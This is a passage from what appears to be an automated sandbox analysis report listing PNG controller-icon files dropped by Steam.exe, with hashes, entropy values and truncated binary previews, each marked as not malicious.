Entropy (8bit):	7.970615072198925
Encrypted:	false
SSDEEP:
MD5:	FFACD7CAB4B558B8C579834C2C47179F
SHA1:	8F083B45BF9C333CC72A46C1951580B52373B764
SHA-256:	90CA5B6DF5F6CEB581CD8A1C94BC98D6D9898A1A708C08845C6B3AD5DF8D378E
SHA-512:	7CF545AA695A1510BACF65F49495C8CF767F1DB21A80819FDFBD9234D8DBA891DFC7F2587809DF11D43587851220E283C5319B45C8F0ADED4BC890377DE4DA74
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\button_y.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13352
Entropy (8bit):	7.9659076770064905
Encrypted:	false
SSDEEP:
MD5:	E3F39FD941A161A578758041AD934FDD
SHA1:	F9E667334C39784BEFBDDBC5A471D2853429BCE0
SHA-256:	41E2079AA60D16E837E406D4A2AB1D57E619E3EA032BD8FD65B7900125D4A563
SHA-512:	084632AE84FE7E50A85C2313C10747C00B7F02F05BF3A27AC9870101C0E86A1E55208F8186333F58B6FD740D40127712C27BB5C495FEE7563AECD71F9C0F6009
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\click_once.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19497
Entropy (8bit):	3.6507430137307666
Encrypted:	false
SSDEEP:
MD5:	6CD5F5569B8E3D0CC91A2E7829A31F89
SHA1:	D7C311601995C25A3C682A76A50F97DE827B79FE
SHA-256:	7256B0E5B08461A621A5E399E20660B11C98DD1C8FCDA84B999E3C4B24E6D67B
SHA-512:	D619E9AA57AA25B29DC87FE91799A2672A0A49A0F98CC9710D4308115F22C49644ECD7FD7380AF0A8935C95A8624B46089DF3CEAC35666934F03FB5D8554C25B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\click_twice.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20504
Entropy (8bit):	3.946750747527434
Encrypted:	false
SSDEEP:
MD5:	8AAF63A3FC49014A928745AF947A04DC
SHA1:	CF7CE3267631E0A3ADBA253A879C89083F7E14DE
SHA-256:	FBCADC19BC70A940E3280F1741E3A69CA36DBC02ECA73E1B31381B2D6C0C78B0
SHA-512:	EDFE85D625FCB323C2080A6082EA663D391425DB2E076814C862A9A3520CED430E923095FD00F14C5E7C6417145A9E3A2369BE9AF7C53F89B45A36D63D910697
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\grip_l.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	14982
Entropy (8bit):	7.95820228269584
Encrypted:	false
SSDEEP:
MD5:	F4EA46C97C33A71DF3D5EDAA95BB3BC5
SHA1:	03372034BA88583258B567E13BC8D579A61C2798
SHA-256:	13D6C707A40AC8D53FA5954EEE0F9B9E269E595C71A063424B1C166040C74BE2
SHA-512:	2E7D3EF66D333678B29991FE8DAE0588961BDC37FCC3C983748C827478F9405882221AAF388973C95A6D61111A06F848F87B36DD8252E6D208E7CB24A65B1CBA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\api\grip_r.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15271
Entropy (8bit):	7.95561143602339
Encrypted:	false
SSDEEP:
MD5:	EBF502016ECFE151E9FE3A261A985ED5
SHA1:	5D005783695B875954B05E5249A95103D5CCD54A
SHA-256:	F0A7CBE171FB53F9F152D6273CB8BA71900A507BB4EB576E6E65F3ABCAF8D18F
SHA-512:	087DDBA9E67B215D05D45826BA5EEDBBF518A23C24ADAD5D766FC02873E0977DF279EA962FD9337AA9ADBBD2D06253EDD5608D02F83962CE1869948670D06EEC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0413.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13657
Entropy (8bit):	7.825135738168859
Encrypted:	false
SSDEEP:
MD5:	CEA135FE7109B64A7F306AE966A3CE34
SHA1:	DF71D3FF8093E12A962A16A81113D5C1E9BB6550
SHA-256:	EFF314279099C14F4478F7ED3F46410F426F47182274F4B4E18FC6AA0D63C6E2
SHA-512:	6452B90D9FDB93E291A08EE445BD5ABE7D7E2D8E66922E114A96D38F6F6E7F0A934A9421A5AAEA42B0CC8401EB6EBBAF1D2874053B23622B0ABC4DD5A2174B88
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0414.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12143
Entropy (8bit):	7.659619568742191
Encrypted:	false
SSDEEP:
MD5:	B88235B2567844C04E55E9E0A8E28B44
SHA1:	67ED98DA2AD01EB9AE7FAB628C7D5AA4BA254691
SHA-256:	EF62B994D6009857EC8CFC770CFA3ADB221F6E2063C65198B45E17353C71BFA9
SHA-512:	EEB4FE6FB0D41ADAD20F3AA0D8F4131DAB9480876027E7E012DA754DC9568D7744E0475E720207DF06E50E5CA5616E7D8C232A45993F54AFC82B5DF6B3C20815
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0415.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16792
Entropy (8bit):	7.844893264767715
Encrypted:	false
SSDEEP:
MD5:	29394C263F65475D6FBF611FC56B6134
SHA1:	7352CA8CF2400FDD19D959D04DD1A6DE0D094CD2
SHA-256:	18D1E796718C6C6EE46B6A976102EB4AAF99DE16130C078D1C1273A18CC98AB3
SHA-512:	0FD58429DD05D21E839E5ADD2791E2422FDA4711804BB88EBD8D9D9075A0CAB0A8B7947EACCB0CA3B8977FD573BCB6A84E16FC29341076932B2E38773D181AD8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0416.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15761
Entropy (8bit):	7.843444991210919
Encrypted:	false
SSDEEP:
MD5:	CCC16F9579709A8E756F75F1315CCFBC
SHA1:	C789438AD4E2BC03325B8A2FADE5C8B18D4B4434
SHA-256:	C2F4E8A3F3AACBBF91BAE41C276CC4DD1D7C4D4D393D013597C10F6B7CBA64C8
SHA-512:	F8CE3828619FBA64863E7781269BEB14C78737FB43C295FD5E02BBBBD4A5543DCF82D470748BBE9631434FB7F855904EC07CCAD7D575953E945EAE1A86EA5A31
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0417.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17201
Entropy (8bit):	7.884596627521363
Encrypted:	false
SSDEEP:
MD5:	CD028012A276D587B92625DC4A997CD8
SHA1:	7CEF60C119B9E29BB42D3D6379E1D8D31074D740
SHA-256:	ABA27A082BB0AE9E41DC694AA59833CDC433924DE487056D2922907302832A9C
SHA-512:	DE6BED59993B4063F1012082D7116BE44BA61CEFF7784D325C3272FA1D384AFF62018CC439CA9FF3F6F820E6BAAC422EFF695C559402C8974365946088484C36
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0418.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16450
Entropy (8bit):	7.871299314938077
Encrypted:	false
SSDEEP:
MD5:	C8F3D94F24CA443546281EC35A0DAD80
SHA1:	7458D0C900AE7DFE753743A5005FB8F226B5CFA1
SHA-256:	5644EC17E091BD722AC3031FB5A59522C276907871D2047F9C95D41842307D99
SHA-512:	3BF53417949C63EFA7B222F88BF6323A9FFFB7556449438A95B70115619C4259D8F9BF92A14C2FEC8E8BA5022EAA60D78D2FF70FA9FD5D9399EF1607332C2D1F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0419.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22053
Entropy (8bit):	7.861843939221874
Encrypted:	false
SSDEEP:
MD5:	A1F38836C56F76FB0902C5A3BD93AB84
SHA1:	8CFC1EC7B8C35A4EAC1598556510D3D6746E532A
SHA-256:	BA5F61209323E0A9417E8C9DAA2AFAE0DF7A8646E31C6EC850BE0CB18F84DD39
SHA-512:	45D71E18B3F4DD06FD27F1B5DF50A4070BCC5F5D901EB87D82799DA22A42E82847E8AFE747FFD9D446DCE6AFE285AB5E4F2DC808D1FF89FDFCFAEDEF13F3B220
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0420.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	7.771460763072948
Encrypted:	false
SSDEEP:
MD5:	6A1D8202C044568A44516E23F8C4CD04
SHA1:	942BD25C5C4868E57018F8AB58B51638528AE71B
SHA-256:	68F8708C439187B97EDB0A3A4A915BB7AF4A0244ED88C1E5A62544C6BF03DA0F
SHA-512:	7302FCFF9DA86BC17E5D00FDC7544086D3E12D8F5AB8ED344736F2A3FACB203AA73720098AFC35BEEC3116D4F264FE672AEC4900A1FDB41B5850E8E90A8E0DC1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_010_wpn_0421.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13510
Entropy (8bit):	7.80208802041489
Encrypted:	false
SSDEEP:
MD5:	7249D50E18122A235D030F711DFD60D2
SHA1:	9F63CD9FDD50A5DDE2FB5DE1189A139EE64B5512
SHA-256:	30011CDABE5D99B7F64B59A1748C8ABEBB0040EE22908C9BB5489CCA73EA658D
SHA-512:	54B9FDB6042DA8E17D15B6B535F9C4543D58E6B419DE97C901A1CBA4C754B5F5559969685CC5B148968CF06F6238E2FFAAE2257F6F4E44F6F4520788CFD03869
Malicious:	false
Reputation:	unknown
